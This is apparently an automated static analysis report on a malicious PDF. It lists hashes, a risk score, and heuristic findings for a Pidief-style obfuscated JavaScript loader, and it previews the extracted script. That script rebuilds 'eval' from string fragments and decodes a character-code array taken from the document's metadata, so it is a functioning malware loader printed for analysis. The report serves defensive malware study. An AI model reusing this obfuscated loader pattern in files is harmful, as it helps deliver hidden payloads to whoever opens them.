Malicious PDF — malware analysis report

Static analysis result for SHA-256 4f369b017afb1a46…

MALICIOUS

PDF

47.9 KB Authoring application: substr First seen: 2012-11-04
MD5: e4461b0f9c8239f5d5c35c211665a7ca SHA-1: 57713bd75c7e41ed48de756d6b345af24d722869 SHA-256: 4f369b017afb1a46a243526e70ce663703a36f9da869aab391c47cd878e11986
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript file, 'javascript_obj0001_000.js', is the primary artifact. While the exact functionality of the script is not detailed, its presence within a PDF and the high ML score suggest it is designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xBD29 444 bytes
SHA-256: 1115bbc07cb24196e6911528e8518ce86a34fe6c0696960342a0a20e204a0986
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
hfj=e('ti'.concat(v[4],t));
q=hfj[v](a.length-6,a.length+2);
swosn=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=hfj[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	scsq = 1*(q[i]);
	i++;
	scsq -= (-1)*(q[i]);
	s2 = s2.concat(swosn(scsq));
	i++;
}
e(s2);

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